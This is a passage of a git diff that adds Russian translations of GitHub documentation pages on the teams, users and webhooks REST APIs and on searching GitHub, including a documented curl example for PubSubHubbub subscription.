GitHub](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization). + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/content/rest/teams/team-sync.md b/translations/ru-RU/content/rest/teams/team-sync.md new file mode 100644 index 000000000000..83a7cfda33f5 --- /dev/null +++ b/translations/ru-RU/content/rest/teams/team-sync.md @@ -0,0 +1,22 @@ +--- +title: Team synchronization +intro: 'The Team synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups.' +versions: + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +--- + +## About the Team synchronization API + +To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with a SAML single sign-on organization](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)." + +You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "[Synchronizing teams between your identity provider and GitHub](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)." + +{% note %} + +**Note:** The Team Synchronization API cannot be used with {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.enterprise.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)". + +{% endnote %} diff --git a/translations/ru-RU/content/rest/teams/teams.md b/translations/ru-RU/content/rest/teams/teams.md new file mode 100644 index 000000000000..acb6daf6d6b5 --- /dev/null +++ b/translations/ru-RU/content/rest/teams/teams.md @@ -0,0 +1,21 @@ +--- +title: Teams +intro: С помощью API команд вы можете создавать команды и управлять ими в организации GitHub. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: e81144e2a4141195d67b16dcf80bfa47da2285e5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145119080' +--- +## Сведения об API команд + +{% data reusables.organizations.team-api %} diff --git a/translations/ru-RU/content/rest/users/blocking.md b/translations/ru-RU/content/rest/users/blocking.md new file mode 100644 index 000000000000..8c4c447604ad --- /dev/null +++ b/translations/ru-RU/content/rest/users/blocking.md @@ -0,0 +1,20 @@ +--- +title: Блокировка пользователей +intro: '' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 43b4e68badd17dbaee45dbbcec8ce2399378064d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145119067' +--- +## Сведения об API блокировки пользователей + +{% data reusables.user-settings.user-api %} diff --git a/translations/ru-RU/content/rest/users/emails.md b/translations/ru-RU/content/rest/users/emails.md new file mode 100644 index 000000000000..47cc6cd49fd0 --- /dev/null +++ b/translations/ru-RU/content/rest/users/emails.md @@ -0,0 +1,22 @@ +--- +title: Адреса электронной почты +intro: '' +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 49ecbb44ca483e1bb1bdd2f4e4032c433c3b89d3 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147878997' +--- +## Сведения об API сообщений электронной почты + +Для управления адресами электронной почты через API требуется проверка подлинности с помощью обычной проверки подлинности или через OAuth с правильной областью для конечной точки. + +{% data reusables.user-settings.user-api %} diff --git a/translations/ru-RU/content/rest/users/followers.md b/translations/ru-RU/content/rest/users/followers.md new file mode 100644 index 000000000000..41ef5880dfbd --- /dev/null +++ b/translations/ru-RU/content/rest/users/followers.md @@ -0,0 +1,21 @@ +--- +title: Подписчики +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 9f3361aebe592fef7e93223ca9e7d60a9da3c0d8 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147879178' +--- +## Сведения об API подписчиков + +{% data reusables.user-settings.user-api %} diff --git a/translations/ru-RU/content/rest/users/gpg-keys.md b/translations/ru-RU/content/rest/users/gpg-keys.md new file mode 100644 index 000000000000..623b629a9345 --- /dev/null +++ b/translations/ru-RU/content/rest/users/gpg-keys.md @@ -0,0 +1,23 @@ +--- +title: Ключи GPG +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 0781b20628b48b9ca5d411ead6f3ddf1bcd1c6d4 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147879173' +--- +## Сведения об API ключей GPG пользователя + +Данные, возвращаемые в поле ответа `public_key`, не являются ключом в формате GPG. Когда пользователь отправляет ключ GPG, он анализируется и криптографический открытый ключ извлекается и сохраняется. Этот криптографический ключ возвращается API на этой странице. Этот ключ не подходит для непосредственного использования программами как GPG. + +{% data reusables.user-settings.user-api %} diff --git a/translations/ru-RU/content/rest/users/index.md b/translations/ru-RU/content/rest/users/index.md new file mode 100644 index 000000000000..aafc28bf7121 --- /dev/null +++ b/translations/ru-RU/content/rest/users/index.md @@ -0,0 +1,30 @@ +--- +title: Пользователи +intro: 'API пользователей позволяет получать общедоступные и частные сведения о пользователе, прошедшем проверку подлинности.' +redirect_from: + - /v3/users + - /rest/reference/users +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /users + - /blocking + - /emails + - /followers + - /gpg-keys + - /keys + - /ssh-signing-keys +ms.openlocfilehash: c7b1e8fc2f15757f4c88ecad620a3db7809bcd7d +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147717663' +--- + diff --git a/translations/ru-RU/content/rest/users/keys.md b/translations/ru-RU/content/rest/users/keys.md new file mode 100644 index 000000000000..7739cef016cb --- /dev/null +++ b/translations/ru-RU/content/rest/users/keys.md @@ -0,0 +1,22 @@ +--- +title: Ключи SSH Git +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 108ea2f46acfd53bc25c59ed727a31a61109420e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145119032' +--- +## Сведения об API ключей SSH пользователя Git + +{% data reusables.user-settings.user-api %} diff --git a/translations/ru-RU/content/rest/users/ssh-signing-keys.md b/translations/ru-RU/content/rest/users/ssh-signing-keys.md new file mode 100644 index 000000000000..45ccc8fce3b1 --- /dev/null +++ b/translations/ru-RU/content/rest/users/ssh-signing-keys.md @@ -0,0 +1,21 @@ +--- +title: Ключи подписывания SSH +intro: '' +versions: + fpt: '*' + ghes: '>=3.7' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: c8b9b71cf14efdd119f759fa36f5baae8e7a9301 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108937' +--- +## Сведения об API пользовательских ключей подписывания SSH + +{% data reusables.user-settings.user-api %} diff --git a/translations/ru-RU/content/rest/users/users.md b/translations/ru-RU/content/rest/users/users.md new file mode 100644 index 000000000000..3ef29371ae08 --- /dev/null +++ b/translations/ru-RU/content/rest/users/users.md @@ -0,0 +1,21 @@ +--- +title: Пользователи +intro: 'API пользователей позволяет получать общедоступные и частные сведения о пользователе, прошедшем проверку подлинности.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: d5206723dec2c849c4c550a1634ce18167da6b38 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067509' +--- +## Сведения об API пользователей + +{% data reusables.user-settings.user-api %} diff --git a/translations/ru-RU/content/rest/webhooks/index.md b/translations/ru-RU/content/rest/webhooks/index.md new file mode 100644 index 000000000000..3910821dc01b --- /dev/null +++ b/translations/ru-RU/content/rest/webhooks/index.md @@ -0,0 +1,84 @@ +--- +title: Веб-перехватчики +intro: API веб-перехватчиков позволяет создавать веб-перехватчики для репозиториев и управлять ими. +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /repo-config + - /repo-deliveries + - /repos +redirect_from: + - /rest/reference/webhooks +ms.openlocfilehash: 9216b892bbc19752266cea22d88bec655363ecaf +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882346' +--- +Веб-перехватчики репозитория позволяют получать полезные данные HTTP-запроса `POST` всякий раз, когда в репозитории происходят определенные события. {% data reusables.webhooks.webhooks-rest-api-links %} + +Если вы хотите настроить один веб-перехватчик для получения событий изо всех репозиториев организации, ознакомьтесь с документацией по API для [веб-перехватчиков организации](/rest/reference/orgs#webhooks). + +Помимо REST API, {% data variables.product.prodname_dotcom %} также может служить центром [PubSubHubbub](#pubsubhubbub) для репозиториев. + +## Получение веб-перехватчиков + +Для отправки полезных данных веб-перехватчика из {% data variables.product.product_name %} требуется доступ к серверу через Интернет. Также настоятельно рекомендуется использовать SSL для передачи зашифрованных полезных данных по протоколу HTTPS. + +### Заголовки веб-перехватчиков + +{% data variables.product.product_name %} может отправлять несколько разных заголовков HTTP, которые позволяют различать типы событий и идентификаторы полезных данных. Дополнительные сведения см. разделе [Заголовки веб-перехватчика](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers). + +## PubSubHubbub + +GitHub также может служить центром [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) для всех репозиториев. PSHB — это простой протокол публикации и подписки, который позволяет серверам регистрироваться для получения обновлений при обновлении раздела. Обновления отправляются с HTTP-запросом POST на URL-адрес обратного вызова. +URL-адреса разделов для отправок GitHub репозитория представлены в следующем формате: + +`https://github.com/{owner}/{repo}/events/{event}` + +Событие может быть любым доступным событием веб-перехватчика. Дополнительные сведения см. в разделе [События веб-перехватчика и полезные данные](/developers/webhooks-and-events/webhook-events-and-payloads). + +### Формат ответа + +Формат по умолчанию — это то, что [должны ожидать существующие перехватчики после получения](/post-receive-hooks/): текста JSON, отправленного в качестве параметра `payload` в POST. Можно также указать получение необработанного текста JSON с заголовком `Accept` или расширением `.json`. + + Accept: application/json + https://github.com/{owner}/{repo}/events/push.json + +### URL-адреса обратных вызовов + +URL-адреса обратного вызова могут использовать протокол `http://`. + + # Send updates to postbin.org + http://postbin.org/123 + +### Подписка + +Конечная точка PubSubHubbub GitHub: `{% data variables.product.api_url_code %}/hub`. Успешный запрос с curl выглядит следующим образом: + +``` shell +curl -u "user" -i \ + {% data variables.product.api_url_pre %}/hub \ + -F "hub.mode=subscribe" \ + -F "hub.topic=https://github.com/{owner}/{repo}/events/push" \ + -F "hub.callback=http://postbin.org/123" +``` + +Запросы PubSubHubbub можно отправлять несколько раз. Если перехватчик уже существует, он будет изменен в соответствии с запросом. + +#### Параметры + +Имя | Тип | Описание +-----|------|-------------- +``hub.mode``|`string` | **Обязательно**. `subscribe` или `unsubscribe`. +``hub.topic``|`string` |**Обязательно**. Универсальный код ресурса (URI) репозитория GitHub для подписки. Этот путь должен иметь следующий формат: `/{owner}/{repo}/events/{event}`. +``hub.callback``|`string` | Универсальный код ресурса (URI) для получения обновлений раздела. +``hub.secret``|`string` | Общий секретный ключ, который создает хэш-подпись исходящего содержимого текста. Вы можете убедиться, что отправка поступила из GitHub, сравнивая необработанный текст запроса с содержимым {% ifversion fpt or ghes or ghec %}заголовков `X-Hub-Signature` или `X-Hub-Signature-256`{% elsif ghae %}заголовка `X-Hub-Signature-256`{% endif %}. Дополнительные сведения см. в [документации по PubSubHubbub](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify). diff --git a/translations/ru-RU/content/rest/webhooks/repo-config.md b/translations/ru-RU/content/rest/webhooks/repo-config.md new file mode 100644 index 000000000000..15b1e2d8aabc --- /dev/null +++ b/translations/ru-RU/content/rest/webhooks/repo-config.md @@ -0,0 +1,20 @@ +--- +title: Конфигурация веб-перехватчика репозитория +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 177126cebda7cd020d109107f920ef88b1c1278c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147062797' +--- + diff --git a/translations/ru-RU/content/rest/webhooks/repo-deliveries.md b/translations/ru-RU/content/rest/webhooks/repo-deliveries.md new file mode 100644 index 000000000000..ae8c7f497dda --- /dev/null +++ b/translations/ru-RU/content/rest/webhooks/repo-deliveries.md @@ -0,0 +1,20 @@ +--- +title: Доставка веб-перехватчика репозитория +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: a3fdc76ab7b02c60cac519ec0a44e215dab122df +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063125' +--- + diff --git a/translations/ru-RU/content/rest/webhooks/repos.md b/translations/ru-RU/content/rest/webhooks/repos.md new file mode 100644 index 000000000000..df967a583423 --- /dev/null +++ b/translations/ru-RU/content/rest/webhooks/repos.md @@ -0,0 +1,20 @@ +--- +title: Веб-перехватчики репозитория +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 85e0c2746416c5ba810b7729b06f1661d7319ec3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061884' +--- + diff --git a/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md new file mode 100644 index 000000000000..86af4520c66a --- /dev/null +++ b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md @@ -0,0 +1,95 @@ +--- +title: About searching on GitHub +intro: 'Our integrated search covers the many repositories, users, and lines of code on {% data variables.product.product_name %}.' +redirect_from: + - /articles/using-the-command-bar + - /articles/github-search-basics + - /articles/search-basics + - /articles/searching-github + - /articles/advanced-search + - /articles/about-searching-on-github + - /github/searching-for-information-on-github/about-searching-on-github + - /github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +--- + +{% ifversion github-code-search %} + {% note %} + + **Note:** {% data reusables.search.classic-search-code-search-note %} + + {% endnote %} +{% endif %} + +{% data reusables.search.you-can-search-globally %} + +- To search globally across all of {% data variables.product.product_name %}, type what you're looking for into the search field at the top of any page, and choose "All {% data variables.product.prodname_dotcom %}" in the search drop-down menu. +- To search within a particular repository or organization, navigate to the repository or organization page, type what you're looking for into the search field at the top of the page, and press **Enter**. + +{% note %} + +**Notes:** + +{% ifversion fpt or ghes or ghec %} +- {% data reusables.search.required_login %}{% endif %} +- {% data variables.product.prodname_pages %} sites are not searchable on {% data variables.product.product_name %}. However you can search the source content if it exists in the default branch of a repository, using code search. For more information, see "[Searching code](/search-github/searching-on-github/searching-code)." For more information about {% data variables.product.prodname_pages %}, see "[What is GitHub Pages?](/articles/what-is-github-pages/)" +- Currently our search doesn't support exact matching. +- Whenever you are searching in code files, only the first two results in each file will be returned. + +{% endnote %} + +After running a search on {% data variables.product.product_name %}, you can sort the results, or further refine them by clicking one of the languages in the sidebar. For more information, see "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results)." + +{% data variables.product.product_name %} search uses an ElasticSearch cluster to index projects every time a change is pushed to {% data variables.product.product_name %}. Issues and pull requests are indexed when they are created or modified. + +## Types of searches on {% data variables.product.prodname_dotcom %} + +You can search for the following information across all repositories you can access on {% data variables.location.product_location %}. + +- [Repositories](/search-github/searching-on-github/searching-for-repositories) +- [Topics](/search-github/searching-on-github/searching-topics) +- [Issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %} +- [Discussions](/search-github/searching-on-github/searching-discussions){% endif %} +- [Code](/search-github/searching-on-github/searching-code) +- [Commits](/search-github/searching-on-github/searching-commits) +- [Users](/search-github/searching-on-github/searching-users) +- [Packages](/search-github/searching-on-github/searching-for-packages) +- [Wikis](/search-github/searching-on-github/searching-wikis) + +## Searching using a visual interface + +You can search {% data variables.product.product_name %} using the {% data variables.search.search_page_url %} or {% data variables.search.advanced_url %}. {% ifversion command-palette %}Alternatively, you can use the interactive search in the {% data variables.product.prodname_command_palette %} to search your current location in the UI, a specific user, repository or organization, and globally across all of {% data variables.product.product_name %}, without leaving the keyboard. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %} + +The {% data variables.search.advanced_url %} provides a visual interface for constructing search queries. You can filter your searches by a variety of factors, such as the number of stars or number of forks a repository has. As you fill in the advanced search fields, your query will automatically be constructed in the top search bar. + +![Advanced Search](/assets/images/help/search/advanced_search_demo.gif) + +## Searching repositories on {% data variables.product.prodname_dotcom_the_website %} from your private enterprise environment + +{% ifversion fpt or ghec %} + +If you use both {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}, and an enterprise owner has enabled {% data variables.enterprise.prodname_unified_search %}, you can search across both environments at the same time from {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}. For more information, see [the {% data variables.product.prodname_ghe_server %} documentation](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment) or [the {% data variables.product.prodname_ghe_managed %} documentation](/github-ae@latest/search-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment). + +{% else %} + +If you use both {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.product_name %}, and an enterprise owner has enabled {% data variables.enterprise.prodname_unified_search %}, you can search across both environments at the same time from {% data variables.product.product_name %}. For more information about how enterprise owners can enable {% data variables.enterprise.prodname_unified_search %}, see "[Enabling {% data variables.enterprise.prodname_unified_search %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise)." + +Your enterprise owner on {% data variables.product.product_name %} can separately enable {% data variables.enterprise.prodname_unified_search %} for all public repositories on {% data variables.product.prodname_dotcom_the_website %} and for private repositories owned by the organization or enterprise on {% data variables.product.prodname_dotcom_the_website %} that is connected to {% data variables.product.product_name %} through {% data variables.product.prodname_github_connect %}. + +Before you can use {% data variables.enterprise.prodname_unified_search %} for private repositories, you must connect your personal accounts on {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.product_name %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." + +When you search from {% data variables.product.product_name %}, only private repositories that you have access to and that are owned by the connected organization or enterprise account will be included in search results. Neither you nor anyone else will be able to search private repositories owned by your personal account on {% data variables.product.prodname_dotcom_the_website %} from {% data variables.product.product_name %}. + +To limit your search to one environment, you can use a filter option on the {% data variables.search.advanced_url %} or you can use the `environment:` search prefix. To only search for content on {% data variables.product.product_name %}, use the search syntax `environment:local`. To only search for content on {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`. +{% endif %} + +## Further reading + +- "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)" +- "[Searching on GitHub](/articles/searching-on-github)" diff --git a/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md new file mode 100644 index 000000000000..2c6c96972880 --- /dev/null +++ b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md @@ -0,0 +1,33 @@ +--- +title: Enabling GitHub.com repository search from your private enterprise environment +shortTitle: Search GitHub.com from enterprise +intro: 'You can connect your personal accounts on {% data variables.product.prodname_dotcom_the_website %} and your private {% data variables.product.prodname_enterprise %} environment to search for content in certain {% data variables.product.prodname_dotcom_the_website %} repositories{% ifversion fpt or ghec %} from your private environment{% else %} from {% data variables.product.product_name %}{% endif %}.' +redirect_from: + - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-account + - /articles/enabling-private-github-com-repository-search-in-your-github-enterprise-server-account + - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-server-account + - /articles/enabling-githubcom-repository-search-in-github-enterprise-server + - /github/searching-for-information-on-github/enabling-githubcom-repository-search-in-github-enterprise-server + - /github/searching-for-information-on-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-in-github-enterprise-server +versions: + ghes: '*' + ghae: '*' +topics: + - GitHub search +--- + +## About search for {% data variables.product.prodname_dotcom_the_website %} repositories from {% data variables.product.product_name %} + +You can search for designated private repositories on {% data variables.product.prodname_ghe_cloud %} from {% data variables.location.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. For more information about searching across environments, see "[About searching on GitHub](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment)." + +## Prerequisites + +An enterprise owner for {% data variables.product.product_name %} must enable {% data variables.product.prodname_github_connect %} and {% data variables.enterprise.prodname_unified_search %} for private repositories. For more information, see "[Enabling {% data variables.enterprise.prodname_unified_search %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise)." + +## Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from {% data variables.product.product_name %} + +1. Sign into {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}. +1. On {% data variables.product.product_name %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. +![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png) +{% data reusables.github-connect.github-connect-tab-user-settings %} +{% data reusables.github-connect.connect-dotcom-and-enterprise %} diff --git a/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/index.md b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/index.md new file mode 100644 index 000000000000..d4a013adc5d3 --- /dev/null +++ b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/index.md @@ -0,0 +1,28 @@ +--- +title: Начало работы с поиском в GitHub +intro: 'Для поиска {% data variables.product.product_name %}можно использовать широкий спектр синтаксиса. Вы можете настроить область поиска, создать запросы и устранить неполадки в работе запросов, а также сортировать результаты поиска с помощью квалификаторов.' +redirect_from: + - /articles/getting-started-with-searching-on-github + - /github/searching-for-information-on-github/getting-started-with-searching-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +children: + - /about-searching-on-github + - /understanding-the-search-syntax + - /troubleshooting-search-queries + - /sorting-search-results + - /enabling-githubcom-repository-search-from-your-private-enterprise-environment +shortTitle: Start with search on GitHub +ms.openlocfilehash: 6d20355210975ad8dfad2c9b5c02b4eaed106239 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145118971' +--- + diff --git a/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md new file mode 100644 index 000000000000..4e2cc927eb15 --- /dev/null +++ b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md @@ -0,0 +1,81 @@ +--- +title: Сортировка результатов поиска +intro: 'Вы можете сортировать результаты [{% data variables.product.product_name %}](/articles/searching-on-github) с помощью меню "Сортировка" или путем добавления квалификатора `sort` в запрос.' +redirect_from: + - /articles/sorting-search-results + - /github/searching-for-information-on-github/sorting-search-results + - /github/searching-for-information-on-github/getting-started-with-searching-on-github/sorting-search-results +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +ms.openlocfilehash: b2c01cdb1bc1df9d4ae4247886b1471211b2714b +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145118968' +--- +Используйте меню "Сортировка", чтобы отсортировать результаты по релевантности, количеству звездочек, количеству вилок и времени обновления элементов. + + ![Меню с параметрами для сортировки результатов поиска](/assets/images/help/search/repo-search-sort.png) + +Для сортировки по взаимодействиям, реакциям, дате создания, дате фиксации или времени обновления элементов можно добавить в поисковый запрос квалификатор `sort`. + +## Сортировка по взаимодействиям + +Квалификатор `sort:interactions` позволяет сортировать по наибольшему объединенному количеству реакций и комментариев. + +| Квалификатор | Пример +| ------------- | ------------- +| `sort:interactions` либо `sort:interactions-desc` | [**org:github sort:interactions**](https://github.com/search?q=org%3Agithub+sort%3Ainteractions&type=Issues) соответствует проблемам в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по наибольшему объединенному количеству реакций и комментариев. +| `sort:interactions-asc` | [**org:github sort:interactions-asc**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Ainteractions-asc&type=Issues) соответствует проблемам в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по наименьшему объединенному количеству реакций и комментариев. + +## Сортировка по реакциям + +Квалификатор `sort:reactions` позволяет сортировать по количеству или типу реакций. + +| Квалификатор | Пример +| ------------- | ------------- +| `sort:reactions` либо `sort:reactions-desc` | [**org:github sort:reactions**](https://github.com/search?q=org%3Agithub+sort%3Areactions&type=Issues) соответствует проблемам в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по наибольшему количеству реакций. +| `sort:reactions-asc` | [**org:github sort:reactions-asc**](https://github.com/search?q=org%3Agithub+sort%3Areactions-asc&type=Issues) соответствует проблемам в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным в порядке возрастания количества реакций (от наименьшего к большему). +| sort:reactions-reaction | [**org:github sort:reactions-+1**](https://github.com/search?q=org%3Agithub+sort%3Areactions-%2B1&type=Issues) соответствует проблемам в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по наибольшему количеству поставленных одобрений (:+1:). +| | [**org:github sort:reactions--1**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions--1&type=Issues) соответствует проблемам в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по наибольшему количеству поставленных неодобрений (:-1:). +| | [**org:github sort:reactions-smile**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions-smile&type=Issues) соответствует проблемам в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по наибольшему количеству поставленных улыбок (:smile:). +| | [**org:github sort:reactions-tada**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions-tada&type=Issues) соответствует проблемам в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по наибольшему количеству поставленных "ура" (:tada:). +| | [**org:github sort:reactions-heart**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions-heart&type=Issues) соответствует проблемам в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по наибольшему количеству поставленных сердечек (:heart:). + +## Сортировка по дате создания + +Квалификатор `sort:author-date` позволяет сортировать по дате создания в порядке убывания или возрастания. + +| Квалификатор | Пример +| ------------- | ------------- +| `sort:author-date` либо `sort:author-date-desc` | [**feature org:github sort:author-date**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Aauthor-date&type=Commits) соответствует фиксациям, содержащим слово "feature", в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по дате создания в 